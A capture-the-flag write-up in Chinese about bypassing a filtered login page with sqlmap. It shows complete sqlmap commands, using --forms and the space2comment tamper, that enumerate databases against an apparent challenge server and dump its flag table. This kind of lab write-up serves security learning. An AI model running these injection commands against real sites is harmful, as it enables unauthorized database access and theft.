登陆页面Sql注入(绕过)

如图,看到这道题的时候发觉之前做过一个类似的手工注入:

登陆页面Sql注入(绕过)

不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么

登陆页面Sql注入(绕过)

到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对登录页面进行注入(一直以为sqlmap只能对url里的对象进行注入)


参考资料https://x.hacking8.com/post-307.html

 “sqlmap的爬虫会爬取自定义的深度以及寻找form表单并自动填充缺失的数据加入扫描”,换句话说sqlmap可以对登陆页面进行注入,并且它会自动寻找注入框来填充数据测试sql注入

格式:sqlmap -u "url" --form 


使用sqlmap进行注入,想要绕过过滤还得加载tamper

tamper参考资料https://blog.csdn.net/qq_34444097/article/details/82717357


之前提到我们不知道它过滤了什么,所以这里需要选择tamper一个个尝试

最后发现使用 space2comment 可以绕过过滤(将空格替换为/**/),那么这里就是用内联注释来绕过了

C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms --dbs --batch --tamper=space2comment

登陆页面Sql注入(绕过)

sqlmap用基于时间的盲注把库名都测出来了

flag可能在其中一个库里面(首先排除_schema后缀的表)

登陆页面Sql注入(绕过)

登陆页面Sql注入(绕过)

FLAG_COLUMN这个字段里面是空的,flag不在这里

那应该就在web2里面了(之前的sql手注题就叫web2,这道题明明叫web6

C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms -D web2 --tables --batch --tamper=space2comment

登陆页面Sql注入(绕过)

进flag表:

C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms -D web2 -T flag --columns --batch --tamper=space2comment

登陆页面Sql注入(绕过)

有个叫flag的字段,进flag字段:

C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms -D web2 -T flag -C flag --dump --batch --tamper=space2comment

登陆页面Sql注入(绕过)

获得flag的值,提交以后是正确的

这次涨姿势了

相关推荐